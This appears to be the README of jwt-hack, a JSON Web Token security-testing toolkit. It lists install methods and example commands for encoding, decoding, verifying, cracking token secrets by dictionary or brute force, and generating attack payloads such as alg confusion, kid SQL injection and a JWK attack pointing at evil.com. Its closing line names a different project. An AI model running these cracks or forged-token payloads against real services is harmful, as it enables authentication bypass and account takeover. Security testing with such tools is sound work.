
JSON Web Token Hack Toolkit
A high-performance toolkit for testing, analyzing and attacking JSON Web Tokens.
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.0.0
Mode | Description | Support |
---|---|---|
Encode | JWT Encoder | Secret based / Key based / Algorithm / Custom Header |
Decode | JWT Decoder | Algorithm, Issued At Check |
Verify | JWT Verifier | Secret based / Key based (for asymmetric algorithms) |
Crack | Secret Cracker | Dictionary Attack / Brute Force |
Payload | JWT Attack Payload Generator | none / jku&x5u / alg_confusion / kid_sql / x5c / cty |
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
# With Secret
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
# With Private Key
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
Checks if a JWT's signature is valid using the provided secret or key.
# With Secret (HMAC algorithms like HS256, HS384, HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# With Private Key (for asymmetric algorithms like RS256, ES256)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
# Dictionary attack
jwt-hack crack -w wordlist.txt JWT_TOKEN
# Bruteforce attack
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
Urx is open-source project and made it with ❤️ if you want contribute this project, please see CONTRIBUTING.md and Pull-Request with cool your contents.